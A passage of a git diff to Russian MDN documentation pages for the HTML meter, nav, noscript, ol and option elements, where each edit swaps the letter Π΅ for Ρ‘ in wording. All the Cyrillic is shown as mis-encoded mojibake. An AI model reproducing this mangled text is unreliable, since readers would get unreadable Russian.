<td><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Content_categories#Flow_content">ΠŸΠΎΡ‚ΠΎΠΊΠΎΠ²Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</a>, <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Content_categories#Phrasing_content">Ρ„Ρ€Π°Π·ΠΎΠ²Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</a>, ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚, ассоциированный с  label, явный ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚.</td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</th>
<td><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Content_categories#Phrasing_content">Π€Ρ€Π°Π·ΠΎΠ²Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</a>, Π½ΠΎ срСди Π΅Π³ΠΎ ΠΏΠΎΡ‚ΠΎΠΌΠΊΠΎΠ² Π½Π΅ Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ элСмСнта <code>&lt;meter&gt;</code>.</td>
</tr>
<tr>
@@ -29,11 +29,11 @@ translation_of: Web/HTML/Element/meter
<td>{{no_tag_omission}}</td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΠΈ</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΠΈ</th>
<td>Π›ΡŽΠ±ΠΎΠΉ элСмСнт, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Content_categories#Phrasing_content">Ρ„Ρ€Π°Π·ΠΎΠ²Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</a>.</td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹Π΅ ARIA Ρ€ΠΎΠ»ΠΈ</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹Π΅ ARIA Ρ€ΠΎΠ»ΠΈ</th>
<td>НСт</td>
</tr>
<tr>
@@ -53,15 +53,15 @@ translation_of: Web/HTML/Element/meter
<div class="note"><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅ ΠΏΠΎ использованию: </strong>Если Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>value</code> Π½Π΅ находится Π² Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½Π΅ ΠΎΡ‚Β  <code>0</code> Π΄ΠΎ <code>1</code> (Π²ΠΊΠ»ΡŽΡ‡ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ), Ρ‚ΠΎ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρ‹ <code>min</code> ΠΈ <code>max</code> Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡ‚ΡŒ Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ Π±ΡƒΠ΄Π΅Ρ‚ Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚ΡŒΡΡ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β  <code>value</code>.</div>
</dd>
<dt>{{htmlattrdef("min")}}</dt>
- <dd>НиТняя числовая Π³Ρ€Π°Π½ΠΈΡ†Π° измСряСмого Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½Π°. Он Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ мСньшС, Ρ‡Π΅ΠΌ максимальноС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ (<code>max</code> Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚), Ссли ΡƒΠΊΠ°Π·Π°Π½. Если Π½Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½, Ρ‚ΠΎ минимальноС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Ρ€Π°Π²Π½ΠΎ 0.</dd>
+ <dd>НиТняя числовая Π³Ρ€Π°Π½ΠΈΡ†Π° измСряСмого Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½Π°. Он Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ мСньшС, Ρ‡Π΅ΠΌ максимальноС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ (<code>max</code> Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚), Ссли ΡƒΠΊΠ°Π·Π°Π½. Если Π½Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½, Ρ‚ΠΎ минимальноС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Ρ€Π°Π²Π½ΠΎ 0.</dd>
<dt>{{htmlattrdef("max")}}</dt>
- <dd>ВСрхняя числовая Π³Ρ€Π°Π½ΠΈΡ†Π° измСряСмого Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½Π°. Он Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ большС, Ρ‡Π΅ΠΌ минимальноС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ (<code>min</code> Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚), Ссли ΡƒΠΊΠ°Π·Π°Π½. Если Π½Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½, Ρ‚ΠΎ максимальноС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Ρ€Π°Π²Π½ΠΎ 1.</dd>
+ <dd>ВСрхняя числовая Π³Ρ€Π°Π½ΠΈΡ†Π° измСряСмого Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½Π°. Он Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ большС, Ρ‡Π΅ΠΌ минимальноС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ (<code>min</code> Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚), Ссли ΡƒΠΊΠ°Π·Π°Π½. Если Π½Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½, Ρ‚ΠΎ максимальноС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Ρ€Π°Π²Π½ΠΎ 1.</dd>
<dt>{{htmlattrdef("low")}}</dt>
<dd>ВСрхняя числовая Π³Ρ€Π°Π½ΠΈΡ†Π° Π½ΠΈΠΆΠ½Π΅Π³ΠΎ ΠΏΡ€Π΅Π΄Π΅Π»Π° измСряСмого Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½Π°. Он Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ большС, Ρ‡Π΅ΠΌ минимальноС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ (<code>min</code> Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚), Π° Ρ‚Π°ΠΊΠΆΠ΅, мСньшС, Ρ‡Π΅ΠΌ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ high ΠΈ максимальноС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅(<code>high</code> Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ ΠΈ <code>max</code> Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚, соотвСтствСнно), Ссли ΠΎΠ½ΠΈ ΡƒΠΊΠ°Π·Π°Π½Ρ‹. Если Π½Π΅ ΡƒΠΊΠ°Π·Π°Π½ ΠΈΠ»ΠΈ мСньшС минимального значСния, Ρ‚ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>low</code> Ρ€Π°Π²Π½ΠΎ ΠΌΠΈΠ½ΠΈΠΌΠ°Π»ΡŒΠ½ΠΎΠΌΡƒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΡŽ.</dd>
<dt>{{htmlattrdef("high")}}</dt>
<dd>НиТняя числовая Π³Ρ€Π°Π½ΠΈΡ†Π° Π²Π΅Ρ€Ρ…Π½Π΅Π³ΠΎ ΠΏΡ€Π΅Π΄Π΅Π»Π° измСряСмого Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½Π°. Он Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ мСньшС, Ρ‡Π΅ΠΌ максимальноС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ (<code>max</code> Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚), Π° Ρ‚Π°ΠΊΠΆΠ΅, большС, Ρ‡Π΅ΠΌ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ low ΠΈ минимальноС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ (<code>low</code> Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ ΠΈ <strong>min</strong> Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚, соотвСтствСнно), Ссли ΠΎΠ½ΠΈ ΡƒΠΊΠ°Π·Π°Π½Ρ‹. Если Π½Π΅ ΡƒΠΊΠ°Π·Π°Π½ ΠΈΠ»ΠΈ большС максимального значСния, Ρ‚ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>high</code> Ρ€Π°Π²Π½ΠΎ ΠΌΠ°ΠΊΡΠΈΠΌΠ°Π»ΡŒΠ½ΠΎΠΌΡƒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΡŽ.</dd>
<dt>{{htmlattrdef("optimum")}}</dt>
- <dd>Π­Ρ‚ΠΎΡ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ ΠΎΠΏΡ‚ΠΈΠΌΠ°Π»ΡŒΠ½ΠΎΠ΅ числовоС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅. Он Π΄ΠΎΠ»ΠΆΠ΅Π½ Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚ΡŒΡΡ Π² ΠΏΡ€Π΅Π΄Π΅Π»Π°Ρ… Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½Π° (ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°ΠΌΠΈ <code>min</code> ΠΈ <code>max</code>). ΠŸΡ€ΠΈ использовании с Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°ΠΌΠΈ <code>low</code> ΠΈ <code>high</code>, ΠΎΠ½ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ какая Ρ‡Π°ΡΡ‚ΡŒ Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½Π° являСтся ΠΏΡ€Π΅Π΄ΠΏΠΎΡ‡Ρ‚ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ. НапримСр, Ссли ΠΎΠ½ находится ΠΌΠ΅ΠΆΠ΄Ρƒ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°ΠΌΠΈ <code>min</code> ΠΈ <code>low</code>, Π½ΠΈΠΆΠ½ΠΈΠΉ Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½ являСтся ΠΏΡ€Π΅Π΄ΠΏΠΎΡ‡Ρ‚ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌ.</dd>
+ <dd>Π­Ρ‚ΠΎΡ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ ΠΎΠΏΡ‚ΠΈΠΌΠ°Π»ΡŒΠ½ΠΎΠ΅ числовоС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅. Он Π΄ΠΎΠ»ΠΆΠ΅Π½ Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚ΡŒΡΡ Π² ΠΏΡ€Π΅Π΄Π΅Π»Π°Ρ… Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½Π° (ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°ΠΌΠΈ <code>min</code> ΠΈ <code>max</code>). ΠŸΡ€ΠΈ использовании с Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°ΠΌΠΈ <code>low</code> ΠΈ <code>high</code>, ΠΎΠ½ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ какая Ρ‡Π°ΡΡ‚ΡŒ Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½Π° являСтся ΠΏΡ€Π΅Π΄ΠΏΠΎΡ‡Ρ‚ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ. НапримСр, Ссли ΠΎΠ½ находится ΠΌΠ΅ΠΆΠ΄Ρƒ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°ΠΌΠΈ <code>min</code> ΠΈ <code>low</code>, Π½ΠΈΠΆΠ½ΠΈΠΉ Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½ являСтся ΠΏΡ€Π΅Π΄ΠΏΠΎΡ‡Ρ‚ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌ.</dd>
<dt>{{htmlattrdef("form")}}</dt>
<dd>Π­Ρ‚ΠΎΡ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ связываСт элСмСнт с элСмСнтом <code>form</code>, Ρ‡Π°ΡΡ‚ΡŒΡŽ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ являСтся элСмСнт <code>meter</code>. НапримСр, <code>meter</code> ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒ Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½, ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ элСмСнту <code>input</code> с <code>type</code> <em>number</em>. Π­Ρ‚ΠΎΡ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² случаС, Ссли элСмСнт  <code>meter</code> ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ ΠΊΠ°ΠΊ элСмСнт, связанный с Ρ„ΠΎΡ€ΠΌΠΎΠΉ; Π΄Π°ΠΆΠ΅ Π² этом случаС ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΠΏΡƒΡ‰Π΅Π½, Ссли элСмСнт являСтся ΠΏΠΎΡ‚ΠΎΠΌΠΊΠΎΠΌ элСмСнта <code>form</code>.</dd>
</dl>
diff --git a/files/ru/web/html/element/nav/index.html b/files/ru/web/html/element/nav/index.html
index aaa537f30c..4cb171fe2b 100644
--- a/files/ru/web/html/element/nav/index.html
+++ b/files/ru/web/html/element/nav/index.html
@@ -24,7 +24,7 @@ translation_of: Web/HTML/Element/nav
<td>ΠŸΠΎΡ‚ΠΎΠΊΠΎΠ²Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚, сСкционный ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚, явный ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚.</td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</th>
<td>ΠŸΠΎΡ‚ΠΎΠΊΠΎΠ²Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚.</td>
</tr>
<tr>
@@ -33,11 +33,11 @@ translation_of: Web/HTML/Element/nav
{{no_tag_omission}}</td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹ΠΉ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ элСмСнт</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹ΠΉ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ элСмСнт</th>
<td>Π›ΡŽΠ±ΠΎΠΉ элСмСнт, содСрТащий ΠΏΠΎΡ‚ΠΎΠΊΠΎΠ²Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚.</td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹Π΅ ARIA-Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρ‹</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹Π΅ ARIA-Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρ‹</th>
<td>НСт</td>
</tr>
<tr>
@@ -54,7 +54,7 @@ translation_of: Web/HTML/Element/nav
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅">ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</h2>
<ul>
- <li>НС ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ всС ссылки Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ ΠΎΠ±Π΅Ρ€Π½ΡƒΡ‚Ρ‹ Π² <code>&lt;nav&gt;</code>. <code>&lt;nav&gt;</code> слСдуСт ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ лишь для Π³Π»Π°Π²Π½Ρ‹Ρ… Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΠΎΠ½Π½Ρ‹Ρ… Π±Π»ΠΎΠΊΠΎΠ². НапримСр, {{HTMLElement("footer")}}Β  часто содСрТит список ссылок, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ стоит ΠΎΠ±ΠΎΡ€Π°Ρ‡ΠΈΠ²Π°Ρ‚ΡŒ Π² {{HTMLElement("nav")}}Β .</li>
+ <li>НС ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ всС ссылки Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ ΠΎΠ±Ρ‘Ρ€Π½ΡƒΡ‚Ρ‹ Π² <code>&lt;nav&gt;</code>. <code>&lt;nav&gt;</code> слСдуСт ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ лишь для Π³Π»Π°Π²Π½Ρ‹Ρ… Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΠΎΠ½Π½Ρ‹Ρ… Π±Π»ΠΎΠΊΠΎΠ². НапримСр, {{HTMLElement("footer")}}Β  часто содСрТит список ссылок, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ стоит ΠΎΠ±ΠΎΡ€Π°Ρ‡ΠΈΠ²Π°Ρ‚ΡŒ Π² {{HTMLElement("nav")}}Β .</li>
<li>Π”ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ нСсколько {{HTMLElement("nav")}} элСмСнтов. НапримСр, ΠΎΠ΄ΠΈΠ½ для Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΠΈ ΠΏΠΎ сайту, Π²Ρ‚ΠΎΡ€ΠΎΠΉ для Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΠΈ ΠΏΠΎ страницС.</li>
<li>ΠŸΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ Π°Π³Π΅Π½Ρ‚Ρ‹, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ устройства чтСния с экрана, ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½Π½Ρ‹Π΅ для людСй с ΠΏΠ»ΠΎΡ…ΠΈΠΌ Π·Ρ€Π΅Π½ΠΈΠ΅ΠΌ, ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ этот элСмСнт, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ слСдуСт Π»ΠΈ ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒ Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³ содСрТимого Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΠΈ.</li>
</ul>
@@ -98,7 +98,7 @@ translation_of: Web/HTML/Element/nav
<h2 id="Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ_Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°">Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°</h2>
-<div class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости на этой страницС создаСтся структурированно. Если Π²Ρ‹ ТСлаСтС внСсти свой Π²ΠΊΠ»Π°Π΄ Π² эти Π΄Π°Π½Π½Ρ‹Π΅, поТалуйста, ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡŒΡ‚Π΅Β <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>Β ΠΈΒ ΠΎΡ‚ΠΏΡ€Π°Π²ΡŒΡ‚Π΅Β Π½Π°ΠΌΒ pull request</div>
+<div class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости на этой страницС создаётся структурированно. Если Π²Ρ‹ ТСлаСтС внСсти свой Π²ΠΊΠ»Π°Π΄ Π² эти Π΄Π°Π½Π½Ρ‹Π΅, поТалуйста, ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡŒΡ‚Π΅Β <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>Β ΠΈΒ ΠΎΡ‚ΠΏΡ€Π°Π²ΡŒΡ‚Π΅Β Π½Π°ΠΌΒ pull request</div>
<p>{{Compat("html.elements.nav")}}</p>
diff --git a/files/ru/web/html/element/noscript/index.html b/files/ru/web/html/element/noscript/index.html
index 2fa2097246..74db832bfc 100644
--- a/files/ru/web/html/element/noscript/index.html
+++ b/files/ru/web/html/element/noscript/index.html
@@ -32,7 +32,7 @@ translation_of: Web/HTML/Element/noscript
&lt;p&gt;Rocks!&lt;/p&gt;
</pre>
-<h3 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€_с_Π²ΠΊΠ»ΡŽΡ‡Π΅Π½Π½Ρ‹ΠΌ_JavaScript'ΠΎΠΌ">ΠŸΡ€ΠΈΠΌΠ΅Ρ€ с Π²ΠΊΠ»ΡŽΡ‡Π΅Π½Π½Ρ‹ΠΌ JavaScript</h3>
+<h3 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€_с_Π²ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½Ρ‹ΠΌ_JavaScript'ΠΎΠΌ">ΠŸΡ€ΠΈΠΌΠ΅Ρ€ с Π²ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½Ρ‹ΠΌ JavaScript</h3>
<p>Rocks!</p>
diff --git a/files/ru/web/html/element/ol/index.html b/files/ru/web/html/element/ol/index.html
index a8a7235f5a..4568058d95 100644
--- a/files/ru/web/html/element/ol/index.html
+++ b/files/ru/web/html/element/ol/index.html
@@ -52,7 +52,7 @@ translation_of: Web/HTML/Element/ol
<dt>{{HTMLAttrDef("reversed")}}</dt>
<dd>Атрибут логичСского значСния (bool)Β  ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ ΠΏΡ€Π΅Π΄ΠΌΠ΅Ρ‚Ρ‹ ΡƒΠΊΠ°Π·Π°Π½Ρ‹ ΠΏΠΎ списку Π² ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎΠΌ порядкС. ΠŸΡƒΠ½ΠΊΡ‚Ρ‹ Π² спискС Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΡ€ΠΎΠ½ΡƒΠΌΠ΅Ρ€ΠΎΠ²Π°Π½Ρ‹ ΠΎΡ‚ большСго ΠΊ ΠΌΠ΅Π½ΡŒΡˆΠ΅ΠΌΡƒ.</dd>
<dt>{{HTMLAttrDef("start")}}</dt>
- <dd>НумСрация начнСтся с ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠ³ΠΎ числа. Арабскими Ρ†ΠΈΡ„Ρ€Π°ΠΌΠΈ (1, 2, 3, ΠΈ Ρ‚.Π΄.), Π΄Π°ΠΆΠ΅ ΠΊΠΎΠ³Π΄Π° нумСрация <code>type</code> Π² Π±ΡƒΠΊΠ²Π°Ρ… ΠΈΠ»ΠΈ Римском исчислСнии. НапримСр, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π½Π°Ρ‡Π°Ρ‚ΡŒ Π½ΡƒΠΌΠ΅Ρ€Π°Ρ†ΠΈΡŽ с Π±ΡƒΠΊΠ²Ρ‹ "Π³" ΠΈΠ»ΠΈ Римской "iv", ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ <code>start="4"</code>.</dd>
+ <dd>НумСрация начнётся с ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠ³ΠΎ числа. Арабскими Ρ†ΠΈΡ„Ρ€Π°ΠΌΠΈ (1, 2, 3, ΠΈ Ρ‚.Π΄.), Π΄Π°ΠΆΠ΅ ΠΊΠΎΠ³Π΄Π° нумСрация <code>type</code> Π² Π±ΡƒΠΊΠ²Π°Ρ… ΠΈΠ»ΠΈ Римском исчислСнии. НапримСр, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π½Π°Ρ‡Π°Ρ‚ΡŒ Π½ΡƒΠΌΠ΅Ρ€Π°Ρ†ΠΈΡŽ с Π±ΡƒΠΊΠ²Ρ‹ "Π³" ΠΈΠ»ΠΈ Римской "iv", ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ <code>start="4"</code>.</dd>
<dt>{{HTMLAttrDef("type")}}</dt>
<dd>Π—Π°Π΄Π°Ρ‘Ρ‚ Ρ‚ΠΈΠΏ Π½ΡƒΠΌΠ΅Ρ€Π°Ρ†ΠΈΠΈ:
<ul>
diff --git a/files/ru/web/html/element/option/index.html b/files/ru/web/html/element/option/index.html
index 7f2bafd7ed..86efde49f4 100644
--- a/files/ru/web/html/element/option/index.html
+++ b/files/ru/web/html/element/option/index.html
@@ -17,7 +17,7 @@ translation_of: Web/HTML/Element/option
<td>НСт.</td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½ΠΎΠ΅ содСрТимоС</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½ΠΎΠ΅ содСрТимоС</th>
<td>ВСкст, Π΄ΠΎΠΏΡƒΡΠΊΠ°ΡŽΡ‚ΡΡ <span class="short_text" id="result_box" lang="ru"><span>экранированныС символы</span></span> (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ <code>&amp;eacute;</code>).</td>
</tr>
<tr>
@@ -25,7 +25,7 @@ translation_of: Web/HTML/Element/option
